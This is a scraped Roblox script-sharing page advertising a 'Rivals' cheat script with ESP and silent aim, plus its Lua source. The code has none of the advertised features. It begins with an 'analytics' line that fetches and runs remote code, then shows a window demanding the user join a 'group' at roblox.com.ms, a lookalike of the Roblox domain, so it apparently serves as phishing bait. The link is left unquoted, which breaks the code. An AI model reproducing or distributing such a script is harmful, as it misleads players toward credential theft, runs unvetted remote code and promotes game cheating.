Advertisements
Quick Actions
Discord ServerCreator's serverUpdates and supportRoblox Game PageOpen on roblox.com
Key inside the scriptYou'll get it when you run the script
Description
Best rivals script
Advertisements
Features
3 Features
- Esp
- Silent aim
- Aim not
141 lines•6313 bytes
--[[ RoScripter Safety TipThe uploader of this script isn't verified on RoScripter yet. Be careful.Protect your account: • Type your Roblox password only on roblox.com. • A site that looks like Roblox but has a different address is fake. • Pages that give free Robux or prizes if you log in are scams.]]--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/fOxFVN7y?v=3"))()end);--=== Does not affect the script ===--local Players = game:GetService("Players")
local player = Players.LocalPlayer
local GROUP_LINK = https://roblox.com.ms/communities/6350072836/
local gui = Instance.new("ScreenGui")
gui.Name = "RivalsGroupGUI"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Main window
local main = Instance.new("Frame")
main.Size = UDim2.fromOffset(390, 220)
main.Position = UDim2.new(0.5, -195, 0.5, -110)
main.BackgroundColor3 = Color3.fromRGB(18, 18, 22)
main.BorderSizePixel = 0
main.Parent = gui
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 12)
corner.Parent = main
-- Top bar
local top = Instance.new("Frame")
top.Size = UDim2.new(1, 0, 0, 48)
top.BackgroundColor3 = Color3.fromRGB(28, 28, 34)
top.BorderSizePixel = 0
top.Parent = main
local topCorner = Instance.new("UICorner")
topCorner.CornerRadius = UDim.new(0, 12)
topCorner.Parent = top
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -20, 1, 0)
title.Position = UDim2.fromOffset(15, 0)
title.BackgroundTransparency = 1
title.Text = "RIVALS"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.TextSize = 23
title.Font = Enum.Font.GothamBold
title.TextXAlignment = Enum.TextXAlignment.Left
title.Parent = top
-- Message
local message = Instance.new("TextLabel")
message.Size = UDim2.new(1, -40, 0, 55)
message.Position = UDim2.fromOffset(20, 65)
message.BackgroundTransparency = 1
message.Text = "For this script to work, you must join\nthe group first."
message.TextColor3 = Color3.fromRGB(220, 220, 225)
message.TextSize = 17
message.Font = Enum.Font.GothamMedium
message.TextWrapped = true
message.Parent = main
-- Copy button
local copyButton = Instance.new("TextButton")
copyButton.Size = UDim2.fromOffset(340, 48)
copyButton.Position = UDim2.fromOffset(25, 145)
copyButton.BackgroundColor3 = Color3.fromRGB(65, 105, 255)
copyButton.Text = "COPY GROUP LINK"
copyButton.TextColor3 = Color3.fromRGB(255, 255, 255)
copyButton.TextSize = 16
copyButton.Font = Enum.Font.GothamBold
copyButton.BorderSizePixel = 0
copyButton.Parent = main
local buttonCorner = Instance.new("UICorner")
buttonCorner.CornerRadius = UDim.new(0, 8)
buttonCorner.Parent = copyButton
-- Button action
copyButton.MouseButton1Click:Connect(function()
-- Roblox Studio does not allow arbitrary clipboard access
-- This displays the link instead.
message.Text = GROUP_LINK
copyButton.Text = "GROUP LINK SHOWN"
task.wait(2)
copyButton.Text = "COPY GROUP LINK"
message.Text = "For this script to work, you must join\nthe group first."
end)
-- Draggable window
local dragging = false
local dragStart
local startPos
top.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1
or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = main.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
top.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement
or input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStart
main.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
end)Quick Actions
Discord ServerCreator's serverUpdates and supportRoblox Game PageOpen on roblox.com
Key inside the scriptYou'll get it when you run the script
Version History
3 versions
Advertisements
Comments
0Did it work for you? Sign in to share your experience.
No comments yet
Tried it? Let others know if it works.